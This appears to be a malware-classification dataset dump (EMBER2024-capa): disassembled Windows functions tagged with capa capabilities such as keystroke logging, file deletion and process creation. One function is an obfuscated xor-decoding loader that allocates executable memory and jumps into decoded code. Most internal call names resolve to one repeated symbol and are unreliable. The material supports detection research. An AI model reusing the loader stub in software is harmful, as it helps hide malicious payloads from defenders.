joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000db80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057176
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x10082d0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 4]
cmp dword [eax + 0x18], 0
je 0x1000dcaf
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
mov edi, dword [esi + 4]
mov dword [ebp - 4], 0
call sym.ScCore.dll_public:_static_class_ScCore::Encoder_const____cdecl_ScCore::Encoder::getBinary_void_
cmp dword [edi + 0x14], eax
mov eax, edi
setne cl
cmp byte [ebp + 0xc], 0
je 0x1000dbf0
test cl, cl
je 0x1000dbf0
push dword [edi + 0x2c]
lea ecx, [ebp - 0x10]
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
mov eax, dword [esi + 4]
push dword [eax + 0x14]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x10]
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
mov edi, eax
test edi, edi
jne 0x1000dc30
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x1000dc30
mov eax, dword [esi + 4]
push dword [eax + 0x18]
push 1
push ecx
push dword [ebp - 0x18]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov ecx, 0x34
cmp eax, 1
cmovne edi, ecx
mov eax, dword [esi + 4]
push dword [eax + 0x18]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
mov ecx, dword [esi + 4]
add esp, 4
push dword [ecx + 0x18]
test eax, eax
je 0x1000dc74
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_clearerr]
add esp, 4
lea ecx, [ebp - 0x10]
mov edi, 0x34
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
mov ecx, dword [esi + 4]
add esp, 4
cmp edx, dword [ecx + 0x24]
jl 0x1000dc92
jg 0x1000dc8c
cmp eax, dword [ecx + 0x20]
jbe 0x1000dc92
mov dword [ecx + 0x20], eax
mov dword [ecx + 0x24], edx
lea ecx, [ebp - 0x10]
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0x32
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10010090
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push 0
push 0
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
cwde
test eax, eax
je 0x100100c2
mov ecx, dword [esi]
and al, 3
pop esi
cmp al, 2
jne 0x100100b9
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033310
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033540
mov eax, 0x30
pop esi
pop ebp
ret
Function at 0x10035310
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov eax, dword [0x10082d0c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
mov ebx, eax
test ebx, ebx
je 0x1003547c
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
je 0x1003535c
push 4
push edi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
jne 0x10035358
push edi
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x1003535c
mov edi, eax
jmp 0x10035340
push 0x100
lea eax, [ebp - 0x184]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x10035474
push 0x80
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x10035474
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, edi
jne 0x10035474
test edi, edi
je 0x10035474
push esi
push 0xfffffffffffffffc
push edi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push edi
mov esi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push ebx
mov edi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test esi, esi
mov dword [ebp - 0x188], eax
pop esi
je 0x10035474
cmp eax, edi
je 0x10035474
push 1
push edi
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
je 0x10035421
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push edi
push dword [ebp - 0x188]
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100544a0
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 2
lea eax, [ebp - 0x188]
mov dword [ebp - 0x188], 0
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100544a0
mov esp, ebp
pop ebp
ret
Function at 0x100354a0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, eax
test esi, esi
jne 0x100354cb
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
push dword [ebp - 0xc]
push esi
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x100354f4
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
mov edx, dword [ebp - 8]
test eax, eax
cmove edx, esi
mov dword [ebp - 8], edx
test edx, edx
jne 0x1003550a
lea eax, [ebp - 0xc]
push eax
push 0x10035590
call dword [sym.imp.USER32.dll_EnumWindows]
mov edx, dword [ebp - 8]
test edx, edx
je 0x10035551
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10083c98]
mov dword [ebp - 4], edx
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10083c10]
cmp eax, dword [ecx + 4]
jg 0x10035558
jmp 0x1003552e
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push 0
push dword [0x10083c0c]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [ebp - 8]
test eax, eax
pop esi
cmovne ecx, dword [ebp - 4]
mov eax, ecx
mov esp, ebp
pop ebp
ret
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
push 0x10083c10
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
add esp, 4
cmp dword [0x10083c10], 0xffffffff
jne 0x1003552b
push str.adobe.sccore.get.dialog.owner
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push 0x10083c10
mov dword [0x10083c0c], eax
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
add esp, 4
jmp 0x1003552b
Function at 0x100356d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005ac13
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10082d0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 1
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
mov edi, eax
mov ebx, edx
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10035768
mov dword [esi + 0xc], 0x20
mov eax, esi
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov dword [esi + 8], eax
mov eax, dword [0x10083ae8]
test eax, eax
jne 0x1003577c
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov dword [eax + 0x58], edi
mov dword [eax + 0x5c], ebx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10035810
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x1003581f
push dword [ecx + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x10035b60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083c3c]
test eax, eax
jne 0x10035bc9
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10035bc9
push esi
push 0x178
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
add esp, 4
test eax, eax
je 0x10035b96
mov ecx, eax
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
mov esi, eax
jmp 0x10035b98
xor esi, esi
cmp byte [0x10083c38], 0
jne 0x10035bb2
mov ecx, esi
mov dword [0x10083c3c], esi
call fcn.1001d6f0
mov eax, esi
pop esi
ret
push esi
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.1001d6f0
mov eax, esi
pop esi
ret
Function at 0x10035bd0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x100829d0]
cmp eax, 0xffffffff
je 0x10035c26
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10035c17
mov ecx, dword [0x10083c3c]
xor eax, eax
cmp esi, ecx
cmove ecx, eax
mov dword [0x10083c3c], ecx
mov ecx, esi
call fcn.1001d720
mov ecx, esi
call fcn.1001d6c0
push 0x178
push esi
call sym.ScCore.dll_private:_class_ScCore::XML____thiscall_ScCore::XML::copy_class_ScCore::XML_const___class_ScCore::XML_const___bool_const
add esp, 8
push 0
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret

Function at 0x1003b2e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x1003b2ef
pop dword [ebp - 4]
mov eax, 0x22794bd2
sub eax, 0x127598e3
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x3b2b2f88
add dword [ebp - 0x14], 0x132715c3
mov dword [ebp - 0x10], 0xbe3102e7
sub dword [ebp - 0x10], 0x8bfdb6a2
mov dword [ebp - 0xc], 0x58384e3
add dword [ebp - 0xc], 0x46c8bf4b
mov dword [ebp - 8], 0x3fbe339f
add dword [ebp - 8], 0xc041cc61
lea eax, [ebp - 0x14]
push eax
mov eax, 0x7418ec9b
add eax, 0x9becd385
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x452a92fa
add dword [ebp - 0x14], 0x2f47d65c
mov dword [ebp - 0x10], 0xfe49f4a2
sub dword [ebp - 0x10], 0xbcdd932d
mov dword [ebp - 0xc], 0xf9925072
sub dword [ebp - 0xc], 0x9622e406
mov dword [ebp - 8], 0x6dc5d0f4
add dword [ebp - 8], 0x923a2f0c
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0x37b57824
sub eax, 0x27afb808
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x5300f
push 0
call eax
mov ecx, 0x5fc0e3a0
add ecx, 0xa03f6331
mov edi, eax
mov edx, 0xfa7316e3
add edx, 0x1596051d
add edx, dword [ebp - 4]
mov esi, 0x46964829
mov ebx, dword [edx]
xor ebx, esi
mov dword [edi], ebx
add edi, 0x3a9b979c
add edi, 0xc5646868
add edx, 4
loop 0x1003b40b
add eax, 0x69e08e6f
sub eax, 0x69df8058
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x92b666a9
sub ecx, 0x82b666a9
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x402600
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x40262f
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00402f14
jmp 0x40264d
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.00402594
mov edi, eax
test ebx, ebx
je 0x40264d
cmp dword [esi], 0
je 0x40264d
dec ebx
jmp 0x402636
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4026c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402758
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402738
xor eax, eax
push ebp
push 0x402731
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402774
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402738
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret
Function at 0x403328
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x4034c4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4033d8
xor eax, eax
push ebp
push 0x4033d1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4033ba
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4034e4
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4033d8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4034b9
cmp byte [ebp - 0xd], 0
jne 0x40341a
cmp byte [ebp - 0x12], 0
je 0x4034b9
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x403433
dec ebx
cmp byte [ebx], 0x2e
je 0x403442
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x403432
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4034b9
inc ebx
cmp byte [ebp - 0x12], 0
je 0x40346f
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4034b9
cmp byte [ebp - 0xd], 0
je 0x4034b9
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4034b9
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403f70
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebx
push esi
movzx eax, word [0x40a4cc]
cmp eax, dword [0x40a4d0]
jl 0x403ff6
push 0
push 0x40a4d0
mov eax, dword [0x409278]
mov eax, dword [eax]
mov edx, 0x8000
call fcn.00407dd0
push eax
mov eax, dword [0x40a4c4]
push eax
mov eax, dword [0x40922c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_ReadFile_1
mov eax, dword [0x409274]
mov ax, word [eax + 6]
and ax, 1
cmp ax, 1
jne 0x403fed
mov esi, dword [0x40a4d0]
dec esi
test esi, esi
jl 0x403fed
inc esi
xor ebx, ebx
call fcn.00407bd0
mov edx, dword [0x40a4c4]
xor byte [edx + ebx], al
mov eax, dword [0x40a4c4]
mov al, byte [eax + ebx]
call fcn.00407afc
inc ebx
dec esi
jne 0x403fce
mov word [0x40a4cc], 0
cmp dword [0x40a4d0], 0
jne 0x404017
mov eax, dword [0x409278]
xor edx, edx
mov dword [eax], edx
mov word [0x40a4cc], 0
or eax, 0xffffffff
pop esi
pop ebx
ret
movzx eax, word [0x40a4cc]
mov edx, dword [0x40a4c4]
movzx eax, byte [edx + eax]
inc word [0x40a4cc]
pop esi
pop ebx
ret

Function at 0x404080
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov ebp, esp
mov eax, dword [0x40a4bc]
mov dword [ebp], eax
mov ax, word [0x40a4c0]
mov word [esp + 4], ax
mov bx, word [0x40a4d4]
mov si, word [esp + 4]
and si, 7
lea ecx, [esp + 4]
mov edx, ebp
mov eax, esi
call fcn.00404074
lea ecx, [esp + 4]
mov edx, ebp
mov ax, 0x10
call fcn.00404050
mov si, word [ebp]
and si, 0xffff
lea ecx, [esp + 4]
mov edx, ebp
mov ax, 0x10
call fcn.00404074
lea ecx, [esp + 4]
mov edx, ebp
mov ax, 0x10
call fcn.00404050
movzx eax, si
mov dx, word [ebp]
not dx
movzx edx, dx
and edx, 0xffff
cmp eax, edx
je 0x40410f
mov word [0x40a4d4], 0
lea ecx, [esp + 4]
mov edx, ebp
mov ax, 0x10
call fcn.00404074
test si, si
je 0x404190
dec esi
lea ecx, [esp + 4]
mov edx, ebp
mov ax, 8
call fcn.00404050
movzx eax, bx
mov edx, dword [0x40a4c8]
mov cl, byte [ebp]
mov byte [edx + eax], cl
inc ebx
cmp bx, 0x8000
jne 0x40417c
push 0
lea eax, [esp + 0xc]
push eax
movzx edi, bx
push edi
mov eax, dword [0x40a4c8]
push eax
mov eax, dword [0x40926c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_WriteFile_1
mov ecx, dword [0x40924c]
mov edx, edi
mov eax, dword [0x40a4c8]
call fcn.00407dac
xor ebx, ebx
lea ecx, [esp + 4]
mov edx, ebp
mov ax, 8
call fcn.00404074
test si, si
jne 0x404123
mov word [0x40a4d4], bx
mov eax, dword [ebp]
mov dword [0x40a4bc], eax
mov ax, word [esp + 4]
mov word [0x40a4c0], ax
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x404fe0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, 0x40a4b8
mov word [0x40a4cc], 0
xor eax, eax
mov dword [0x40a4d0], eax
mov word [0x40a4d4], 0
mov word [0x40a4c0], 0
xor eax, eax
mov dword [0x40a4bc], eax
xor ebx, ebx
xor eax, eax
mov dword [0x40a4c4], eax
xor eax, eax
mov dword [0x40a4c8], eax
mov eax, 0x8002
call fcn.00402454
mov dword [0x40a4c4], eax
mov eax, 0x8002
call fcn.00402454
mov dword [0x40a4c8], eax
xor eax, eax
push ebp
push 0x405115
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x40a4d8], eax
xor eax, eax
mov dword [0x40a4dc], eax
xor eax, eax
push ebp
push 0x4050df
push dword fs:[eax]
mov dword fs:[eax], esp
mov word [esi], 0
lea eax, [ebp - 4]
call fcn.00404f40
cmp bx, word [esi]
jae 0x405084
mov bx, word [esi]
cmp dword [ebp - 4], 0
je 0x40506f
cmp word [0x40a4d4], 0
jbe 0x4050d5
push 0
lea eax, [ebp - 8]
push eax
movzx eax, word [0x40a4d4]
push eax
mov eax, dword [0x40a4c8]
push eax
mov eax, dword [0x40926c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_WriteFile_1
mov ecx, dword [0x40924c]
movzx edx, word [0x40a4d4]
mov eax, dword [0x40a4c8]
call fcn.00407dac
mov word [0x40a4d4], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4050e9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40511c
mov edx, 0x8001
mov eax, dword [0x40a4c4]
call fcn.0040246c
mov edx, 0x8001
mov eax, dword [0x40a4c8]
call fcn.0040246c
ret

Function at 0x40556c
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
push edi
mov esi, edx
mov edi, eax
xor eax, eax
push ebp
push 0x405648
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, esi
call fcn.00407f14
mov edx, eax
lea ecx, [ebp - 4]
mov eax, esi
call fcn.004081fc
mov edx, dword [ebp - 4]
mov eax, 0x405660
call fcn.00403218
test eax, eax
jg 0x40562d
jmp 0x4055c2
lea eax, [ebp - 4]
mov ecx, 1
mov edx, 1
call fcn.004031d0
cmp dword [ebp - 4], 0
je 0x4055d0
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
je 0x4055b0
cmp dword [ebp - 4], 0
je 0x40562d
mov eax, edi
call fcn.00407f14
mov edx, eax
lea ecx, [ebp - 8]
mov eax, edi
call fcn.004081fc
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00402f94
mov eax, dword [ebp - 8]
call fcn.004082a4
lea eax, [ebp - 8]
mov ecx, 0x40566c
mov edx, dword [ebp - 4]
call fcn.00402fd8
mov eax, dword [ebp - 8]
call fcn.00403150
call fcn.004080c0
test al, al
je 0x40562d
mov eax, dword [ebp - 4]
call fcn.00403150
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40564f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402e54
ret
Function at 0x405670
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff6c
mov ebx, edx
mov edi, eax
xor esi, esi
mov eax, dword [ebx]
mov edx, 0x405710
call fcn.0040309c
jne 0x40569b
mov eax, ebx
mov edx, 0x405720
call fcn.00402f94
jmp 0x4056a2
mov eax, ebx
call fcn.00402e30
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x4056fa
mov eax, dword [esp + 0x10]
dec eax
je 0x4056bf
dec eax
je 0x4056cf
jmp 0x4056e9
mov ecx, dword [edi]
mov eax, edi
mov edx, 0x40572c
call fcn.00402fd8
jmp 0x4056e9
push 0x405774
push dword [ebx]
push 0x4057b8
push dword [edi]
mov eax, edi
mov edx, 4
call fcn.0040304c
push 5
mov eax, dword [edi]
call fcn.00403150
push eax
call sub.kernel32.dll_WinExec
mov esi, eax
mov eax, esi
add esp, 0x94
pop edi
pop esi
pop ebx
ret

Function at 0x4057c0
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
xor edx, edx
mov dword [ebp - 0x114], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
xor edx, edx
push ebp
push 0x4058cd
push dword fs:[edx]
mov dword fs:[edx], esp
dec eax
jne 0x4058a7
cmp byte [0x409200], 0
je 0x4058a7
lea edx, [ebp - 4]
mov eax, 1
call fcn.0040528c
lea edx, [ebp - 8]
mov eax, 2
call fcn.0040528c
lea eax, [ebp - 0x10e]
push eax
push 0x104
call sub.kernel32.dll_GetCurrentDirectoryA
lea eax, [ebp - 0x114]
mov edx, dword [0x40a4ec]
call fcn.00402f44
mov eax, dword [ebp - 0x114]
call fcn.00402f8c
test eax, eax
je 0x40584f
mov eax, dword [0x40a4ec]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, dword [ebp - 4]
call fcn.00402f8c
cmp eax, 4
jle 0x40589b
mov eax, dword [ebp - 4]
call fcn.00405374
test al, al
je 0x405875
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.00405670
jmp 0x40589b
push 5
mov eax, dword [0x409264]
push eax
mov eax, dword [ebp - 8]
call fcn.00403150
push eax
mov eax, dword [ebp - 4]
call fcn.00403150
push eax
push 0x4058d8
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x10e]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4058d4
lea eax, [ebp - 0x114]
call fcn.00402e30
lea eax, [ebp - 8]
mov edx, 2
call fcn.00402e54
ret